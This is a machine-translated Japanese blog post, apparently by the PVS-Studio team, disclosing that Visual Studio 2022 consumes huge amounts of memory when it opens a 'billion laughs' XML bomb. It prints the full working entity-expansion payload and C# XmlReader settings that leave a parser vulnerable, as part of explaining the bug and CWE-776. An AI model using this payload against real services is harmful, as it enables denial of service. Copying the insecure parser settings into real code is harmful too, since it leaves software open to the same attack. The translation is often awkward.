どのようにVisual Studio 2022は100 GBのメモリを、どのようなXML爆弾はそれをしなければならなかった


2021年4月に、IDEはVisual Studio 2022の新しいバージョンを発表しました.私たちは長い-これ以上の4 GBのメモリの制限を待ってきた!しかし、それが判明したので、それはそんなに簡単ではない.

ところで、あなたがそれを逃したならば、ここへのリンクですannouncement post .
しかし、問題を起こしましょう.私は、この問題を最新版(書き込み時に利用可能)に再現しました.
これを再現するには、次のようになります.
  • 空白のソリューションテンプレートを使用して新しいプロジェクトを作成します
  • XMLファイルをソリューションに追加します.
  • この後、次のテキストをXMLファイルにコピーします.
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ELEMENT lolz (#PCDATA)>
     <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
     <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
     <!ENTITY lol11 
       "&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">
     <!ENTITY lol12 
       "&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">
     <!ENTITY lol13 
       "&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">
     <!ENTITY lol14 
       "&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">
     <!ENTITY lol15 
       "&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;">
    ]>
    <lolz>&lol15;</lolz>
    
    今すぐ自分でコーヒーをカップに行く、あなたのコンピュータに戻る-と視覚的なスタジオを見てより多くのRAMを食べる.

    2つの質問があります.
  • なぜ奇妙なXMLを作成し、プロジェクトに追加?
  • ここで何が起こっているのですか.
  • これを理解しましょう.これを行うには、なぜXMLファイルの処理が危険なのか、PVS Studio Analyzerがこのようにしなければならないのかを理解する必要があります.

    PVSスタジオでのサスト
    我々は積極的にPastのソリューションとしてPVSスタジオを開発し続けます.我々がC - CHEN分析器について話すならば、ここの主な焦点は以下ですOWASP Top 10 2017 (最新版があります-アップデートを楽しみにしています!サポート.ところで、あなたはそれを逃した場合は、あまりにもずっと前に、我々は汚染分析機能を追加しました.あなたはそれを読むことができますhere .
    そこで、アナライザをテストするためのサンプルプロジェクトを作成しました.事実は、我々が診断規則を開発しているOWASPA4:2017-XML External Entities (XXE) . これは、アプリケーションを攻撃に脆弱にする不正なXMLファイル処理を行う必要があります.不正確な処理は何を意味しますか?多くの脆弱性を引き起こす入力データ(永続的な問題)が十分な制限がないXMLパーサと結合することは、しばしば過度の信頼です.
    その結果、ファイルが妥協するならば、これはいろいろな不快な結果を引き起こすかもしれません.データ開示とサービス拒否の2つの主要な問題がある.どちらも対応するcwesです.
  • CWE-611: Improper Restriction of XML External Entity Reference
  • CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
  • 先日はWE - 611を残します.今日はCWE - 776が必要です.

    XML爆弾
    その問題の本質を簡単に説明します.あなたがもっと知りたい場合は、インターネット上の多くのリソースが必要な情報を提供します.
    XML標準はDTD (文書型定義).DTDでは、いわゆるXMLエンティティを使用できます.
    エンティティ構文は単純です.
    <!ENTITY myEntity "Entity value">
    
    次に、エンティティ値を次のように取得できます.
    &myEntity;
    
    ここでのキャッチは、実体は文字列(「実体値」のように)だけでなく、他の実体のシーケンスにも拡大できる.例えば、
    <!ENTITY lol "lol">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    
    その結果、' LOL 1 'エンティティを展開するとき、以下のような文字列を取得します.
    lollollollollollollollollollol
    
    さらに' lol 2 'エンティティを定義するには' lol 1 'を通して拡張できます.
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    
    ' LOL 2 'エンティティを展開するときは、次の出力を取得します.
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollol
    
    方法についてのレベルを深く行くと' LOL 3 'エンティティを定義するには?
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    
    以下に出力します.
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    lollollollollollollollollollollollollollollollollollollollollollollollol
    ....
    
    記事の冒頭で使用したXMLファイルは、同じ原理で生成されました.今、私はあなたが“10億笑”の名前がどこから来るかを参照してくださいと思う.したがって、XMLパーサーが正しく構成されていない場合(DTD処理が有効になり、最大エンティティサイズが制限されない場合)、この「爆弾」が処理されると何も良いことは起こりません.
    C Menuについて言えば、脆弱なコードはXmlReaderのタイプの例で最も簡単です.
    var pathToXmlBomb = @"D:\XMLBomb.xml";
    XmlReaderSettings rs = new XmlReaderSettings()
    {
      DtdProcessing = DtdProcessing.Parse,
      MaxCharactersFromEntities = 0
    };
    
    using var reader = XmlReader.Create(File.OpenRead(pathToXmlBomb), rs);
    while (reader.Read())
    {
      if (reader.NodeType == XmlNodeType.Text)
        Console.WriteLine(reader.Value);
    }
    
    私がこの方法で私のXmlReaderを構成するならば、私はほとんど侵入者に話しています.
    これには2つの理由があります.
  • DTD処理を有効にする
  • エンティティからの文字の最大数の制限が削除されているファイルをun妨げに成長することができます.
  • 既定では、DTDエンティティの処理は禁止されています.DTDProcessingプロパティは禁止されています.エンティティからの文字の最大数も制限されます.それで、現代で.ネットでは、足元で自分を撃つ機会が少なくなります.パーサを誤って設定した場合、これはまだ可能です.

    ビジュアルスタジオ2022に戻る
    Visual Studio 2022では、私たちがXML爆弾をコピーしたとき、両方の条件が真であったようです
  • DTD処理開始
  • 制限は設定されていませんでした-それはますます増加するメモリ消費を引き起こしました.
  • 私たちは、何が起こっているかを見る過程を調べました.我々が見つけたものは、我々の予想を確認しました.

    プロセスリストは、主スレッドがXMLファイルで処理されていることを示しました.それはGUIを凍結させました、そして、IDEはそれを復活させるどんな試みにも応じませんでした.XMLファイルを使用します.
    VS主スレッドの呼び出しスタックは、スレッドがDTD ( parsedtdメソッドの実行)を処理中であることを示しました.

    実験中に、なぜVisual StudioはDTD処理をすべて実行するのでしょうか?なぜXMLを表示しないのですか?私は、小さなXML爆弾(同じアプローチ、軽い荷)で実験するとき、私の答えを得ました.
    それは全体のポイントは、エディタで“オンザフライ”エンティティの可能な値を表示することです.

    小さな値は正常に処理されますが、XMLエンティティが成長し始めるときに問題が発生します.
    もちろん、私の調査の後、私はbug report .

    結論
    これは、予期しない方法でXML爆弾を見ました.これは非常に興味深い現実的なアプリケーションを探索し、このようなものを見つけることでした.
    私がこれを書いているように、我々はXMLファイル処理問題に弱いコードを検索する診断を開発しています.PVS Studio 7.15でリリースする予定です.アナライザが今できることを見たいなら、私はあなたにdownload プロジェクトに試してみてください;
    いつものように、何か面白いものを欠場しないように購読する.